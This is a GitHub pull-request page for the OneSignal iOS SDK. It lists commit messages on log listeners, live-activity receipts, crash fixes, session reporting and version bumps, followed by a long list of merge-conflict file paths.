chore: Identity verification rebase on main#1661
Conversation
chore: add github-to-asana workflows
* Adds the following new public methods: - OneSignal.Debug.addLogListener - OneSignal.Debug.removeLogListener * These new methods provide a way to capture all SDK log entires at runtime, allowing the app developer to store these and/or send them to their server. * The log listener is independent of logLevel, all message are always sent to listeners. * Use the new `OSCopyOnWriteSet`: it is possible for someone to add or remove a log listener within the `onLogEvent` callback, thus modifying the set of listeners as the set is being enumerated. @synchronized is a recursive lock, so it would not be sufficient. Locking the entire set of listeners would result in deadlock. * This mimics the Android implementation which uses the built-in `CopyOnWriteArraySet`
feat(logging): add public log listener methods
Xcode warns: *** -[NSKeyedUnarchiver decodeObjectForKey:]: value for key (requestSuccessful) is not an object. This will become an error in the future.
* The optional cast directly to a protocol always failed, and this intermediate step of casting to Any/AnyObject was necessary.
fix: live activities uncaches correctly
Fix calculation of one day in seconds. This bug had no side effects except keeping old irrelevant data too long.
* Let's arbitrarily keep receive requests up to 30 days. If these requests can't be sent for 30 days, let's drop them. Typically, they will be removed from cache when the request is successful, or fail with un-retryable error.
* Listen for `contentUpdates` as a way to know the live activity has been updated via a notification or "in app". This asynchronous sequence is triggered for all PTS, PTU, and live activities that are started and updated "in app". * We will check for notification ID to know if this change was generated from a notification and track the receive receipt.
Chore: fix Xcode project navigator files reference
The `testRemoveUpdateTokenWithSuccessfulRequest` should use `OSRequestRemoveUpdateToken` instead of `OSRequestRemoveStartToken`, fix small bug.
* Add a basic tests for the request * Add this type to the the uncaching test
* It seems that when creating a new string with stringWithFormat, copying the `localizedDescription` can raise an `NSInvalidArgumentException`. Not reproducible, but reported by users. * This matches other calls to the client where we log the error returned. Example stacktrace: Fatal Exception: NSInvalidArgumentException 0 CoreFoundation 0x... __exceptionPreprocess 1 libobjc.A.dylib 0x... objc_exception_throw 2 CoreFoundation 0x... +[NSObject(NSObject) _copyDescription] 3 CoreFoundation 0x... ___forwarding___ 4 CoreFoundation 0x... _CF_forwarding_prep_0 5 OneSignalInAppMessages 0x... __77-[OSMessagingController attemptFetchWithRetries:rywData:attempts:retryLimit:]_block_invoke.90 + 320 (OSMessagingController.m:320) 6 OneSignalCore 0x... -[OneSignalClient handleJSONNSURLResponse:data:error:isAsync:withRequest:onSuccess:onFailure:] + 214 (OneSignalClient.m:214) 7 OneSignalCore 0x... __54-[OneSignalClient executeRequest:onSuccess:onFailure:]_block_invoke + 110 (OneSignalClient.m:110)
…receipts Feat: live activities receive receipts
…tion_errors Fix: Prevent exception when copying an error's localizedDescription
On `macos-latest-largest`, use xcode 16.3+
…version chore(ci): Update runner image
Release 5.2.15
- Remove stale v5 feature parity warning now that v5 is stable. Replace with concise migration guide reference. - Fix image embedding to use GitHub-hosted URL - Update documentation links - Update supported iOS versions
…nges (#1641) Fix crash in -[OSInAppMessageViewController dismissCurrentInAppMessage:withVelocity:] The crash occurred when setInAppMessagingPaused:YES was called while the IAM's view hierarchy was in an inconsistent state (e.g., during orientation change). The code attempted to modify Auto Layout constraints on a messageView that was no longer a subview of self.view, causing an NSLayoutConstraint exception. Added a guard check to return out early if messageView.superview != self.view.
* mark OSMacros.h header private to avoid warning - Changed OSMacros.h visibility from Public to Private so the header won't be included in the public Headers folder during the build process - fix warning saying: "umbrella header for module 'OneSignalCore' does not include header 'OSMacros.h'" * use conventional quoted imports for private headers Conventionally correct: Quoted imports (#import "OSMacros.h") are the standard pattern for private/internal headers, now that the OSMacros has been marked from public to private
* chore: bump version to 5.4.1 * chore: build binaries * chore: update Swift package --------- Co-authored-by: github-actions[bot] <noreply@onesignal.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
Migrate workflow references from sdk-actions to sdk-shared
* initial commit of new example app OneSignalSwiftUIExample * Generate app using screenshots * Do any small tweaking as needed * Add notification examples * make consent a toggle * add app icon assets * Update new example app * add live activities to new demo * add build prompt * chore: run swiftlint
* feat: send unattributed sessions to /outcomes/measure
When the SDK was migrated from the player model, the /players/{id}/on_focus call was split into two requests: session time via Update User and session duration outcomes via `/outcomes/measure`. The outcomes half was only wired up for attributed sessions, so unattributed sessions never sent to `/outcomes/measure`. However, to get unattributed session data in the dashboard, unattributed sessions needed to be sent to `/outcomes/measure` as well.
- Remove END_SESSION guard in OSFocusTimeProcessorFactory that prevented creating an unattributed processor for session-end events
- Add sendSessionEndOutcomes call to OSUnattributedFocusTimeProcessor alongside sendSessionTime, matching the old model where both were always sent together
* test: add unit tests for OSRequestSendSessionEndOutcomes request builder
Verify the request parameters for unattributed (notification_ids omitted,
direct: false), attributed direct (direct: true), and attributed indirect
(direct: false) influence types.
When using badge type "Increase", the cached badge value (ONESIGNAL_BADGE_KEY) in shared UserDefaults was not explicitly reset to zero in clearBadgeCount:fromClearAll:. If the swizzled badge setter did not fire, the NSE would read the stale cached value and increment from it, producing an incorrect badge count.
* chore: bump version to 5.4.2 * chore: build binaries * chore: update Swift package --------- Co-authored-by: github-actions[bot] <noreply@onesignal.com>
* feat: enhance manual integration support and swizzling control - Added APIs for manual notification handling and lifecycle observation when swizzling is disabled. - Introduced a new constant for controlling swizzling via Info.plist. * dev app: setup to test swizzle disabled * return early from manual APIs if swizzling is enabled * address PR feedback * thread safety * rename a method for clarity * remove ios 9 and 10 checks minimum is ios 12
* getting started doc for iOS * added more screenshots --------- Co-authored-by: AR Abdul Azeez <abdul@onesignal.com>
* chore: bump version to 5.5.0 * chore: build binaries * chore: update Swift package --------- Co-authored-by: github-actions[bot] <noreply@onesignal.com>
* demo: update getting started doc and screenshot * start IAMs as paused * add clear all notifications button to demo * demo app: fix bug with enabled toggle
…droid SDK (#1655) * Align iOS session duration reporting with Android SDK behavior Both attributed and unattributed focus time processors now behave like the Android SDK: session time accumulates silently across background events, and both the user property update and the outcomes/measure call are sent together only after a 30-second timer fires (confirming the user has left). If the user returns within 30 seconds, the timer is cancelled and no calls are made. Changes to OSAttributedFocusTimeProcessor: - Move sendSessionTime from sendOnFocusCall to the actual send method so it only fires when the 30s timer fires or the session ends, sending the full accumulated total instead of each interval Changes to OSUnattributedFocusTimeProcessor: - Add 30s NSTimer delay before sending to outcomes/measure - Send immediately (no delay) when session ends via influence change - Implement cancelDelayedJob to invalidate timer on foreground return - Clear unsent time only on outcomes success (retry on failure) - Move sendSessionTime to the actual send method (same as attributed) - Reduce min session threshold from 60s to 1s to match attributed Made-with: Cursor * Remove unused min session time threshold Both processors now use a unified `< 1` guard in sendOnFocusCallWithParams: instead of the old getMinSessionTime/hasMinSyncTime dispatch through the base class.
* chore: bump version to 5.5.1 * chore: build binaries * chore: update Swift package --------- Co-authored-by: github-actions[bot] <noreply@onesignal.com>
ci: [SDK-4493] use GH_PUSH_TOKEN for project workflow
…_release # Conflicts: # OneSignal.podspec # OneSignalXCFramework.podspec # Package.swift # iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.h # iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.m # iOS_SDK/OneSignalDevApp/OneSignalDevApp/Base.lproj/Main.storyboard # iOS_SDK/OneSignalDevApp/OneSignalDevApp/SwiftTest.swift # iOS_SDK/OneSignalSDK/OneSignal.xcodeproj/project.pbxproj # iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalCommonDefines.h # iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalLog.h # iOS_SDK/OneSignalSDK/OneSignalCore/Source/OneSignalLog.m # iOS_SDK/OneSignalSDK/OneSignalInAppMessages/Controller/OSMessagingController.h # iOS_SDK/OneSignalSDK/OneSignalInAppMessages/Controller/OSMessagingController.m # iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSIdentityOperationExecutor.swift # iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSPropertyOperationExecutor.swift # iOS_SDK/OneSignalSDK/OneSignalUser/Source/Executors/OSSubscriptionOperationExecutor.swift # iOS_SDK/OneSignalSDK/OneSignalUser/Source/OneSignalUserManagerImpl.swift # iOS_SDK/OneSignalSDK/OneSignalUserTests/Executors/UserExecutorTests.swift # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/Info.plist # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/Headers/OneSignalCommonDefines.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/Headers/OneSignalLog.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/OneSignalCore.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/Headers/OneSignalCommonDefines.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/Headers/OneSignalLog.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalCore.framework/Versions/A/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/Headers/OneSignalCommonDefines.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/Headers/OneSignalLog.h # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/OneSignalCore.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/DWARF/OneSignalCore # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Core/OneSignalCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalCore.yml # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/OneSignalExtension.framework/OneSignalExtension # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalExtension.framework/Versions/A/OneSignalExtension # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalExtension.yml # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/DWARF/OneSignalExtension # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalExtension.yml # iOS_SDK/OneSignalSDK/OneSignal_Extension/OneSignalExtension.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalExtension.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalExtension.yml # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/Info.plist # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/OneSignalInAppMessages.framework/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalInAppMessages.yml # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/OneSignalInAppMessages.framework/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalInAppMessages.yml # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalInAppMessages.yml # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/OneSignalInAppMessages.framework/Versions/A/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/DWARF/OneSignalInAppMessages # iOS_SDK/OneSignalSDK/OneSignal_InAppMessages/OneSignalInAppMessages.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalInAppMessages.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalInAppMessages.yml # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/OneSignalLiveActivities.framework/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/OneSignalLiveActivities.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLiveActivities.yml # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/OneSignalLiveActivities.framework/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/OneSignalLiveActivities.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLiveActivities.yml # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLiveActivities.yml # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/Modules/OneSignalLiveActivities.swiftmodule/x86_64-apple-ios-macabi.abi.json # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/OneSignalLiveActivities.framework/Versions/A/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/DWARF/OneSignalLiveActivities # iOS_SDK/OneSignalSDK/OneSignal_LiveActivities/OneSignalLiveActivities.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLiveActivities.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLiveActivities.yml # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/Info.plist # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/OneSignalLocation.framework/OneSignalLocation # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLocation.yml # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalLocation.yml # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLocation.yml # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/OneSignalLocation.framework/Versions/A/OneSignalLocation # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/DWARF/OneSignalLocation # iOS_SDK/OneSignalSDK/OneSignal_Location/OneSignalLocation.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalLocation.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalLocation.yml # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/Info.plist # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/OneSignalNotifications.framework/OneSignalNotifications # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalNotifications.framework/Versions/A/OneSignalNotifications # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalNotifications.yml # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/DWARF/OneSignalNotifications # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalNotifications.yml # iOS_SDK/OneSignalSDK/OneSignal_Notifications/OneSignalNotifications.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalNotifications.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalNotifications.yml # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework.zip # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/Info.plist # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeDirectory # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeRequirements-1 # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/_CodeSignature/CodeSignature # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios.abi.json # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/OneSignalOSCore # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOSCore.yml # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-macabi.abi.json # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-macabi.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/_CodeSignature/CodeResources # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-simulator.abi.json # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-simulator.swiftdoc # iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/OneSignalOSCore # 